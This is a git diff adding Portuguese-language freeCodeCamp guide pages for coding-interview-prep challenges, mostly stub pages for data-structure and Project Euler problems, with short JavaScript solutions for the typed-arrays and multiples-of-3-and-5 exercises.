diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..f235d395f3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Difference on Two Sets of Data
+localeTitle: Realize uma diferença em dois conjuntos de dados
+---
+## Realize uma diferença em dois conjuntos de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..f18d4e561f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Subset Check on Two Sets of Data
+localeTitle: Executar uma verificação de subconjunto em dois conjuntos de dados
+---
+## Executar uma verificação de subconjunto em dois conjuntos de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md
new file mode 100644
index 0000000000..dfa56a2c84
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Union on Two Sets
+localeTitle: Executar uma união em dois conjuntos
+---
+## Executar uma união em dois conjuntos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..9991a6ab28
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform an Intersection on Two Sets of Data
+localeTitle: Realizar uma interseção em dois conjuntos de dados
+---
+## Realizar uma interseção em dois conjuntos de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md
new file mode 100644
index 0000000000..d7122f7a54
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Element from a Max Heap
+localeTitle: Remover um elemento de um heap máximo
+---
+## Remover um elemento de um heap máximo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md
new file mode 100644
index 0000000000..db5819936e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Elements from a Linked List by Index
+localeTitle: Remover elementos de uma lista vinculada por índice
+---
+## Remover elementos de uma lista vinculada por índice
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md
new file mode 100644
index 0000000000..56db2bec29
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Elements from a Linked List
+localeTitle: Remover elementos de uma lista vinculada
+---
+## Remover elementos de uma lista vinculada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md
new file mode 100644
index 0000000000..d5ae2ff71c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove from a Set
+localeTitle: Remover de um conjunto
+---
+## Remover de um conjunto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md
new file mode 100644
index 0000000000..6f66da2c1e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove items from a set in ES6
+localeTitle: Remover itens de um conjunto no ES6
+---
+## Remover itens de um conjunto no ES6
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md
new file mode 100644
index 0000000000..020296dbe3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Reverse a Doubly Linked List
+localeTitle: Reverse uma lista duplamente vinculada
+---
+## Reverse uma lista duplamente vinculada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md
new file mode 100644
index 0000000000..e70d981d5c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Search within a Linked List
+localeTitle: Pesquisar em uma lista vinculada
+---
+## Pesquisar em uma lista vinculada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md
new file mode 100644
index 0000000000..f7bb14b304
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Size of the Set
+localeTitle: Tamanho do conjunto
+---
+## Tamanho do conjunto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/typed-arrays/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/typed-arrays/index.md
new file mode 100644
index 0000000000..3ab9337f4a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/typed-arrays/index.md
@@ -0,0 +1,25 @@
+---
+title: Typed Arrays
+localeTitle: Matrizes digitadas
+---
+## Matrizes digitadas
+
+### Método:
+
+*   Neste desafio, primeiro precisamos criar um buffer de 64 bytes. Podemos usar o `ArrayBuffer()` .
+*   Depois de criar um buffer, precisamos criar um Int32Array, para isso podemos usar o `Int32Array()` .
+
+### Solução:
+
+```js
+//Create a buffer of 64 bytes 
+ var buffer = new ArrayBuffer(64); 
+ 
+ //Make 32-bit int typed array with the above buffer 
+ var i32View = new Int32Array(buffer); 
+```
+
+### Referências:
+
+*   [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)
+*   [TypedArray](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md
new file mode 100644
index 0000000000..3b280fbf28
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Use .has and .size on an ES6 Set
+localeTitle: Use .has e .size em um conjunto ES6
+---
+## Use .has e .size em um conjunto ES6
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..48ea1f7678
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Breadth First Search in a Binary Search Tree
+localeTitle: Use a primeira pesquisa em largura em uma árvore de pesquisa binária
+---
+## Use a primeira pesquisa em largura em uma árvore de pesquisa binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..8338e03350
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Depth First Search in a Binary Search Tree
+localeTitle: Use a primeira pesquisa de profundidade em uma árvore de pesquisa binária
+---
+## Use a primeira pesquisa de profundidade em uma árvore de pesquisa binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md
new file mode 100644
index 0000000000..c05b0e6a53
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Spread and Notes for ES5 Set() Integration
+localeTitle: Use Spread e Notes para Integração do Conjunto ES5 ()
+---
+## Use Spread e Notes para Integração do Conjunto ES5 ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md
new file mode 100644
index 0000000000..1a4aeb0ba1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Nodes in a Linked List
+localeTitle: Trabalhar com nós em uma lista vinculada
+---
+## Trabalhar com nós em uma lista vinculada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/index.md
new file mode 100644
index 0000000000..edef611528
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/index.md
@@ -0,0 +1,11 @@
+---
+title: Coding Interview Prep
+localeTitle: Coding Interview Prep
+---
+## Coding Interview Prep
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/index.md
new file mode 100644
index 0000000000..ab6f185dda
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/index.md
@@ -0,0 +1,11 @@
+---
+title: Project Euler
+localeTitle: Projeto Euler
+---
+## Projeto Euler
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-1-multiples-of-3-and-5/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-1-multiples-of-3-and-5/index.md
new file mode 100644
index 0000000000..597475a811
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-1-multiples-of-3-and-5/index.md
@@ -0,0 +1,31 @@
+---
+title: Multiples of 3 and 5
+localeTitle: Múltiplos de 3 e 5
+---
+## Problema 1: Múltiplos de 3 e 5
+
+### Método:
+
+*   Podemos encontrar se um número é divisível por outro número com a ajuda do operador `%` modulo.
+*   `num1 % num2` retorna `0` se não houver nenhum resto enquanto faz `num1/num2` .
+*   A partir de `i = 3` porque esse é o primeiro número divisível por 3 ou 5, percorremos até o `number` fornecido.
+*   Se o número for divisível por 3 ou 5, adicionamos isso à `sum` variável e finalmente a retornamos.
+
+### Solução:
+
+```js
+function multiplesOf3and5(number) { 
+  let sum = 0, i = 3; 
+  while (i < number){ 
+    if (i % 3 == 0 || i % 5 == 0) sum += i; 
+    i++; 
+  } 
+  return sum; 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Project-Euler-Problem-1-Multiples-of-3-and-5)
+
+### Referência:
+
+*   [Operador Modulo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_())
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-10-summation-of-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-10-summation-of-primes/index.md
new file mode 100644
index 0000000000..e019fdd41d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-10-summation-of-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Summation of primes
+localeTitle: Soma dos primos
+---
+## Problema 10: Soma dos primos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-10-summation-of-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-100-arranged-probability/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-100-arranged-probability/index.md
new file mode 100644
index 0000000000..c7bbdf3854
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-100-arranged-probability/index.md
@@ -0,0 +1,9 @@
+---
+title: Arranged probability
+localeTitle: Probabilidade arranjada
+---
+## Problema 100: Probabilidade Arranjada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-100-arranged-probability/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-101-optimum-polynomial/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-101-optimum-polynomial/index.md
new file mode 100644
index 0000000000..12b09a24ee
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-101-optimum-polynomial/index.md
@@ -0,0 +1,9 @@
+---
+title: Optimum polynomial
+localeTitle: Polinômio ideal
+---
+## Problema 101: Polinômio Ótimo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-101-optimum-polynomial/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-102-triangle-containment/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-102-triangle-containment/index.md
new file mode 100644
index 0000000000..b8dea133c6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-102-triangle-containment/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle containment
+localeTitle: Contenção do triângulo
+---
+## Problema 102: Contenção do Triângulo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-102-triangle-containment/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-103-special-subset-sums-optimum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-103-special-subset-sums-optimum/index.md
new file mode 100644
index 0000000000..63f50a224f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-103-special-subset-sums-optimum/index.md
@@ -0,0 +1,9 @@
+---
+title: Special subset sums - optimum
+localeTitle: Subcontas especiais - ótimo
+---
+## Problema 103: Soma especial do subconjunto: ótimo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-103-special-subset-sums-optimum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-104-pandigital-fibonacci-ends/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-104-pandigital-fibonacci-ends/index.md
new file mode 100644
index 0000000000..f04ae3ae30
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-104-pandigital-fibonacci-ends/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital Fibonacci ends
+localeTitle: Fibonacci Pandigital termina
+---
+## Problema 104: Fibonacci Pandigital termina
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-104-pandigital-fibonacci-ends/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-105-special-subset-sums-testing/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-105-special-subset-sums-testing/index.md
new file mode 100644
index 0000000000..fb3fddce04
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-105-special-subset-sums-testing/index.md
@@ -0,0 +1,9 @@
+---
+title: Special subset sums - testing
+localeTitle: Soma de subconjunto especial - teste
+---
+## Problema 105: Soma de subconjunto especial: teste
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-105-special-subset-sums-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-106-special-subset-sums-meta-testing/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-106-special-subset-sums-meta-testing/index.md
new file mode 100644
index 0000000000..09558fb51a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-106-special-subset-sums-meta-testing/index.md
@@ -0,0 +1,9 @@
+---
+title: Special subset sums - meta-testing
+localeTitle: Soma de subconjunto especial - meta-teste
+---
+## Problema 106: Soma especial do subconjunto: meta-testes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-106-special-subset-sums-meta-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-107-minimal-network/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-107-minimal-network/index.md
new file mode 100644
index 0000000000..cc9a262448
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-107-minimal-network/index.md
@@ -0,0 +1,9 @@
+---
+title: Minimal network
+localeTitle: Rede mínima
+---
+## Problema 107: Rede Mínima
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-107-minimal-network/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-108-diophantine-reciprocals-i/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-108-diophantine-reciprocals-i/index.md
new file mode 100644
index 0000000000..26e302c9c6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-108-diophantine-reciprocals-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Diophantine Reciprocals I
+localeTitle: Recíprocos Diofantinos I
+---
+## Problema 108: Reciprocais Diofantinos I
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-108-diophantine-reciprocals-i/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-109-darts/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-109-darts/index.md
new file mode 100644
index 0000000000..de56e24a88
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-109-darts/index.md
@@ -0,0 +1,9 @@
+---
+title: Darts
+localeTitle: Dardos
+---
+## Problema 109: Dardos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-109-darts/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-11-largest-product-in-a-grid/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-11-largest-product-in-a-grid/index.md
new file mode 100644
index 0000000000..7c1a83c7b4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-11-largest-product-in-a-grid/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest product in a grid
+localeTitle: Maior produto em uma grade
+---
+## Problema 11: Maior produto em uma grade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-11-largest-product-in-a-grid/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
